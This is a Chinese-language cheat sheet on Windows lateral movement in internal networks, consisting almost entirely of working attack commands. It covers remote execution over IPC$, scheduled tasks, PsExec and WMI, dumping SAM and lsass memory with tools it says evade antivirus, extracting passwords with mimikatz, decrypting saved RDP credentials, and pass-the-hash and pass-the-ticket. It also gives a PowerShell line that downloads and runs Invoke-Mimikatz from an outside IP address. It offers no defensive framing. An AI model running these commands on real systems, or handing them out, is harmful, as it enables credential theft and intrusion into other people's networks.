内网横向总结

IPC$ 及定时任务

通过 ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等。

执行如下命令,建立一个 ipc$

net use \\192.168.52.133\ipc$ "密码" /user:用户名

然后使用 net use 命令查看已建立的连接

命令列表

  1. dir

dir \\192.168.52.133\c$
  1. tasklist

tasklist /S 192.168.52.133 /U 用户名 /P 密码
  1. net time

net time \\192.168.52.133
  1. copy

copy test.bat \\192.168.52.133\c$
  1. type

type \\192.168.52.133\c$\1.txt

计划任务

at 命令创建计划任务

at 命令适用于 Windows Server 2008 之前的版本。

获取目标机器时间后,使用 at 命令让目标主机在指定时间运行一个程序

at \\192.168.52.133 22:58PM cmd.exe /c "ipconfig > c:/1.txt"

schtasks 命令创建计划任务

schtasks 适用于 Windows Vista、Windows Server 2008 及之后的版本。schtasks 命令比 at 更灵活。

  1. 在远程主机上创建一个名称 “test” 的计划任务,该计划任务开机时启动,启动程序为c:\test.bat,启动权限为 system

schtasks /create /s 192.168.52.133 /u 用户名 /p 密码 /tn test /sc onstart /tr c:\test.bat /ru system /f
  1. 手动触发计划任务

schtasks /run /s 192.168.52.133 /u 用户名 /p 密码 /i /tn "test"
  1. 使用 type 命令读取结果

type \\192.168.52.133\c$\1.txt

密码抓取

GetPass 工具

直接运行即可获得明文密码

通过 SAM 和 System 文件抓取密码

  1. 导出 SAM 和 System 文件

reg save hklm\sam sam.hive
reg save hklm\system system.hive
  1. 离线使用 mimikatz 读取 SAM 和 System 文件

mimikatz 在线读取 SAM 文件

在 mimikatz 目录打开命令行环境,输入如下命令,在线读取散列值及明文密码

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonPasswords"

mimikatz 离线读取 lsass.dmp 文件

Procdump.exe

Procdump 是微软的工具,可以绕过大多数杀软。

  1. 使用该软件将 lsass.exe 进程 dump 下来

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

  1. 使用相同版本的操作系统读取密码

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

SqlDumper.exe

SqlDumper.exe 也是微软出品,可绕过大多数杀软。默认存放在 C:\Program Files\Microsoft SQL Server\number\Shared,number代表 SQL Server 的版本。

如果目标机器没有安装 SQL Server,可以自己上传 SqlDumper.exe。

  1. 查看 lsass.exe 的 PID 号,并使用该软件将 lsass.exe 进程 dump 下来

tasklist /svc | findstr lsass.exe
Sqldumper.exe ProcessID 0 0x01100

  1. 把生成的 mdmp 文件下载到本地,用相同的操作系统打开

mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit

获取 RDP 连接保存的密码

  1. 查看 RDP 连接保存的凭证文件

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

  1. 使用 mimikatz 获取 guidMasterKey

  1. 查找对应的 Masterkey(似乎要用CS执行)

mimikatz sekurlsa::dpapi

  1. 使用 MasterKey 解密凭证

mimikatz dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\7B37B5579DDADD715CF04039E68F041B /masterkey:092a4c187aa5b2c2b661cd20ffb0eb546a5a1d5a002acb170e294acfe89b905663e6b24dbe9fb1b86782b7d5ad170a681f0781649cfff79de6c3929c5d2a8cd5

Powershell 远程加载 mimikatz 抓密码

远程调用 PowerSpolit 下面的 Invoke-Mimikaz.ps1 模块

powershell IEX (New-Object Net.WebClient).DownloadString('http://114.115.156.105:8889/ps/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

哈希传递

使用 NTLM Hash 进行哈希传递

  1. 在目标机器中,执行如下命令

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:billow.com /ntlm:739d50e8f638206c12e0958372cafb94"
  1. 此时会弹出 cmd.exe,在命令行环境中尝试列出域控制器C盘的内容

票据传递

使用 mimikatz 进行票据传递

  1. 使用 mimikatz 将内存中的票据导出

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"
  1. 将票据注入内存

mimikatz.exe "kerberos::ptt "C:\Users\administrator.BILLOW\Desktop\[0;2b94f9]-2-0-60a10000-Administrator@krbtgt-BILLOW.COM.kirbi"
  1. 列出远程计算机系统的文件目录

dir \\dc\c$

PsExec 的使用

  1. 在建立了 ipc$ 的情况下,执行如下命令,获取 System 权限的 shell

PsExec.exe -accepteula \\192.168.1.1 -s cmd.exe
  1. 如果没有建立 ipc$,可通过以下方式建立建远程连接

PsExec.exe -accepteula \\192.168.1.1 -u administrator -p password -s cmd.exe

WMI 的使用

  1. 输入如下命令连接远程主机并执行命令

wmic /node:192.168.1.1 /user:administrator /password:密码 process call create "cmd.exe /c ipconfig > c:\ip.txt"

  1. wmic 执行没有回显,需要配合 ipc$ 连接后使用 type 命令读取

type \\192.168.1.1\c$\ip.txt